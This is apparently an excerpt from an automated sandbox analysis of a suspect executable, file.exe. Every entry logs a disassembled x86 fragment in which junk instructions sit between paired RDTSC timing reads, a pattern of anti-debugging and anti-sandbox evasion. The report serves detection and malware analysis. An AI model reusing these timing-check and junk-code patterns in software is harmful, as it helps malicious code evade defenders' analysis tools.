Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75DB2 second address: B75E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624B4E7E7h 0x00000009 popad 0x0000000a jns 00007FF624B4E7DCh 0x00000010 popad 0x00000011 nop 0x00000012 pushad 0x00000013 mov dword ptr [ebp+122D199Bh], edi 0x00000019 mov ax, dx 0x0000001c popad 0x0000001d mov cx, 734Ch 0x00000021 lea eax, dword ptr [ebp+1247AADFh] 0x00000027 cmc 0x00000028 add edi, dword ptr [ebp+122D2E6Eh] 0x0000002e nop 0x0000002f jnp 00007FF624B4E7E0h 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75E03 second address: B75E16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 ja 00007FF624C752F6h 0x0000000f pop edx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75EC7 second address: B75ECC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75ECC second address: B75ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75F82 second address: B75F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76298 second address: B762B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF624C75306h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B762B9 second address: B762BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B762BF second address: B762C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B762C3 second address: B762C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B764E8 second address: B76516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jc 00007FF624C752FEh 0x0000000d push ecx 0x0000000e jnl 00007FF624C752F6h 0x00000014 pop ecx 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push edi 0x0000001a pushad 0x0000001b jmp 00007FF624C75301h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76516 second address: B76529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 jg 00007FF624B4E7E0h 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76529 second address: B76537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76537 second address: B7653C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7670E second address: B76712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76712 second address: B76716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7686A second address: B76870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7710E second address: B77114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77114 second address: B77122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77122 second address: B77191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FF624B4E7D8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 jno 00007FF624B4E7DCh 0x00000028 lea eax, dword ptr [ebp+1247AB23h] 0x0000002e jmp 00007FF624B4E7DDh 0x00000033 nop 0x00000034 push ebx 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 pop edx 0x00000039 pop ebx 0x0000003a push eax 0x0000003b jp 00007FF624B4E7DEh 0x00000041 nop 0x00000042 mov cx, EEE3h 0x00000046 lea eax, dword ptr [ebp+1247AADFh] 0x0000004c nop 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77191 second address: B77195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77195 second address: B7719B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7719B second address: B616BC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF624C752F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007FF624C752FAh 0x00000011 nop 0x00000012 mov edx, edi 0x00000014 call dword ptr [ebp+122D28B2h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF624C752FBh 0x00000021 jne 00007FF624C752FCh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2BB4A second address: B2BB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF624B4E7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2BB54 second address: B2BB66 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF624C752F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FF624C752FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6B69 second address: BB6B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6B71 second address: BB6B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6B75 second address: BB6B7B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6E86 second address: BB6E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6FEF second address: BB700C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624B4E7E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB700C second address: BB7010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7010 second address: BB7016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7016 second address: BB703B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FF624C75302h 0x0000000c jng 00007FF624C752F6h 0x00000012 je 00007FF624C752F6h 0x00000018 ja 00007FF624C752F8h 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB703B second address: BB7063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF624B4E7E8h 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7063 second address: BB706C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB706C second address: BB7076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF624B4E7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7076 second address: BB707A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB707A second address: BB7083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B616B8 second address: B616BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBBAB5 second address: BBBAC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FF624B4E7D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBBAC0 second address: BBBACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBBC23 second address: BBBC2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBBC2A second address: BBBC32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC016 second address: BBC01C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC01C second address: BBC020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC020 second address: BBC02E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF624B4E7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC1A0 second address: BBC1A8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC1A8 second address: BBC1B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FF624B4E7D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC5DA second address: BBC5DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF6B2 second address: BBF6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF6B6 second address: BBF6C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0DCB second address: BC0E07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF624B4E7E2h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jnp 00007FF624B4E7E6h 0x00000013 jmp 00007FF624B4E7E0h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jl 00007FF624B4E7DCh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0E07 second address: BC0E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0E0B second address: BC0E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624B4E7E5h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E49F second address: B3E4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC38ED second address: BC38FA instructions: 0x00000000 rdtsc 0x00000002 je 00007FF624B4E7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC38FA second address: BC3900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8490 second address: BC8499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8499 second address: BC84B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624C75305h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC84B4 second address: BC84B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC860A second address: BC8610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8610 second address: BC8618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8618 second address: BC861D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC861D second address: BC8622 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC878A second address: BC8797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8797 second address: BC87B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FF624B4E7E4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FF624B4E7D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC87B9 second address: BC87C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC894A second address: BC8968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007FF624B4E7FDh 0x0000000b pushad 0x0000000c jmp 00007FF624B4E7DEh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8AEF second address: BC8B23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF624C75303h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF624C75309h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8B23 second address: BC8B27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCE978 second address: BCE986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF624C752F6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD482 second address: BCD4AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007FF624B4E7DCh 0x0000000f jbe 00007FF624B4E7D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD4AB second address: BCD4D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF624C752FCh 0x00000008 jmp 00007FF624C75304h 0x0000000d popad 0x0000000e js 00007FF624C752FEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD4D7 second address: BCD4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FF624B4E7FBh 0x0000000e pushad 0x0000000f jmp 00007FF624B4E7E3h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD4FB second address: BCD505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD7B0 second address: BCD7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD7B6 second address: BCD7BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD94C second address: BCD951 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD951 second address: BCD968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624C752FEh 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD968 second address: BCD9A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FF624B4E808h 0x0000000e push edx 0x0000000f jnp 00007FF624B4E7D6h 0x00000015 pop edx 0x00000016 pushad 0x00000017 jmp 00007FF624B4E7E8h 0x0000001c jmp 00007FF624B4E7DAh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDACB second address: BCDADB instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF624C752F6h 0x00000008 jns 00007FF624C752F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDADB second address: BCDAF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF624B4E7DCh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDC63 second address: BCDC84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF624C75307h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDC84 second address: BCDC88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCE68D second address: BCE691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0E7F second address: BD0E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0E86 second address: BD0E8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0E8C second address: BD0E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3FF89 second address: B3FF8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD740D second address: BD743A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF624B4E7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b ja 00007FF624B4E7D6h 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 jmp 00007FF624B4E7DFh 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007FF624B4E7D6h 0x00000021 push eax 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD743A second address: BD7440 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD7598 second address: BD759C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD759C second address: BD75A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD75A2 second address: BD75AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jg 00007FF624B4E7D6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD75AF second address: BD75CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624C75300h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FF624C752F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD75CC second address: BD75FB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF624B4E7D6h 0x00000008 jmp 00007FF624B4E7DBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FF624B4E7DCh 0x00000019 je 00007FF624B4E7D6h 0x0000001f jc 00007FF624B4E7DEh 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD75FB second address: BD75FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
